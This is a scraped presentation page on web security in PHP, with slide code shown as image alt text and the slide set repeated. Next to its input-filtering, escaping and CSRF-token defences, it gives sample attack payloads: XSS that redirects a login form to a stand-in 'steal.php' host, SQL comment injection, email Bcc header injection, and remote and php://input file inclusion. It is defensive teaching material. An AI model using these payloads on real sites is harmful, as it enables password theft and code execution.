Embed presentation
Download as PDF, PPTX






![<?php
$clean = array();
if (ctype_alpha($_POST['name'])) {
$clean['name'] = $_POST['name'];
} else {
/* Error */
}
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-7-320.jpg)
![<?php
$clean = array();
switch ($_POST['color']) {
case 'red':
case 'green':
case 'blue':
$clean['color'] = $_POST['color'];
break;
default:
/* Error */
break;
}
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-8-320.jpg)
![<?php
$clean = array();
$colors = array('red', 'green', 'blue');
if (in_array($_POST['color'], $colors)) {
$clean['color'] = $_POST['color'];
} else {
/* Error */
}
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-9-320.jpg)
![<?php
$clean = array();
$colors = array();
$colors['red'] = '';
$colors['green'] = '';
$colors['blue'] = '';
if (isset($colors[$_POST['color']])) {
$clean['color'] = $_POST['color'];
} else {
/* Error */
}
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-10-320.jpg)
![<?php
$clean = array();
if (preg_match('/^d{5}$/',
$_POST['zip'])) {
$clean['zip'] = $_POST['zip'];
} else {
/* Error */
}
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-11-320.jpg)
![<?php
/* Content-Type: text/html; charset=UTF-8' */
$html = array();
$html['user'] = htmlentities($clean['user'],
ENT_QUOTES,
'UTF-8');
echo "<p>Welcome, {$html['user']}.</p>";
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-12-320.jpg)



![echo $_GET['user'];
http://host/foo.php?user=%3Cscript%3E…
echo '<script>…';](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-16-320.jpg)

![Steal Passwords
<script>
document.forms[0].action =
'http://host/steal.php';
</script>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-18-320.jpg)











![Stop It!
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$html['token'] = htmlentities($token, ENT_QUOTES,
'UTF-8');
<input type="hidden"
name="token"
value="<?php echo $html['token']; ?>" />](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-30-320.jpg)

![SELECT count(*)
FROM users
WHERE username = '{$_POST['username']}'
AND password = '…'
chris' /*
SELECT count(*)
FROM users
WHERE username = 'chris' /*'
AND password = '…'](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-32-320.jpg)





![Email Injection
mail('chris@example.org', 'Feedback', '...',
"From: {$_POST['email']}");
fake@example.orgrnBcc: victim@example.orgrnBcc: …
To: chris@example.org
Subject: Feedback
From: fake@example.org
Bcc: victim@example.org
Bcc: …](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-38-320.jpg)


![include "{$_COOKIE['type']}.php";
Cookie: type=http://host/inject.inc?
include "http://host/inject.inc?.php";](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-41-320.jpg)

![include "{$_GET['type']}.php";
POST /script.php?type=php://input%00 HTTP/1.1
Host: host
Content-Type: application/x-www-form-urlencoded
Content-Length: ?
?
include "php://input";](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-43-320.jpg)











![<script src="http://host/json.php"></script>
[{"email": "chris@shiflett.org"}]
JavaScript Hijacking Demo
http://mochikit.com/fortify_fud/](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-55-320.jpg)









The document discusses the evolution of web security, outlining fundamental principles, practices, and common exploits such as cross-site scripting (XSS), cross-site request forgery (CSRF), and SQL injection. It emphasizes the importance of input validation, session management, and defense strategies like using prepared statements and tokenization to prevent attacks. The presentation also highlights emerging trends like AJAX vulnerabilities and the need for security-centered design in the development of web applications.






![<?php
$clean = array();
if (ctype_alpha($_POST['name'])) {
$clean['name'] = $_POST['name'];
} else {
/* Error */
}
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-7-320.jpg)
![<?php
$clean = array();
switch ($_POST['color']) {
case 'red':
case 'green':
case 'blue':
$clean['color'] = $_POST['color'];
break;
default:
/* Error */
break;
}
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-8-320.jpg)
![<?php
$clean = array();
$colors = array('red', 'green', 'blue');
if (in_array($_POST['color'], $colors)) {
$clean['color'] = $_POST['color'];
} else {
/* Error */
}
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-9-320.jpg)
![<?php
$clean = array();
$colors = array();
$colors['red'] = '';
$colors['green'] = '';
$colors['blue'] = '';
if (isset($colors[$_POST['color']])) {
$clean['color'] = $_POST['color'];
} else {
/* Error */
}
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-10-320.jpg)
![<?php
$clean = array();
if (preg_match('/^d{5}$/',
$_POST['zip'])) {
$clean['zip'] = $_POST['zip'];
} else {
/* Error */
}
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-11-320.jpg)
![<?php
/* Content-Type: text/html; charset=UTF-8' */
$html = array();
$html['user'] = htmlentities($clean['user'],
ENT_QUOTES,
'UTF-8');
echo "<p>Welcome, {$html['user']}.</p>";
?>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-12-320.jpg)



![echo $_GET['user'];
http://host/foo.php?user=%3Cscript%3E…
echo '<script>…';](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-16-320.jpg)

![Steal Passwords
<script>
document.forms[0].action =
'http://host/steal.php';
</script>](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-18-320.jpg)











![Stop It!
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$html['token'] = htmlentities($token, ENT_QUOTES,
'UTF-8');
<input type="hidden"
name="token"
value="<?php echo $html['token']; ?>" />](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-30-320.jpg)

![SELECT count(*)
FROM users
WHERE username = '{$_POST['username']}'
AND password = '…'
chris' /*
SELECT count(*)
FROM users
WHERE username = 'chris' /*'
AND password = '…'](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-32-320.jpg)





![Email Injection
mail('chris@example.org', 'Feedback', '...',
"From: {$_POST['email']}");
fake@example.orgrnBcc: victim@example.orgrnBcc: …
To: chris@example.org
Subject: Feedback
From: fake@example.org
Bcc: victim@example.org
Bcc: …](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-38-320.jpg)


![include "{$_COOKIE['type']}.php";
Cookie: type=http://host/inject.inc?
include "http://host/inject.inc?.php";](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-41-320.jpg)

![include "{$_GET['type']}.php";
POST /script.php?type=php://input%00 HTTP/1.1
Host: host
Content-Type: application/x-www-form-urlencoded
Content-Length: ?
?
include "php://input";](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-43-320.jpg)











![<script src="http://host/json.php"></script>
[{"email": "chris@shiflett.org"}]
JavaScript Hijacking Demo
http://mochikit.com/fortify_fud/](https://image.slidesharecdn.com/evolution-of-web-security-100214221821-phpapp01/85/Evolution-Of-Web-Security-55-320.jpg)







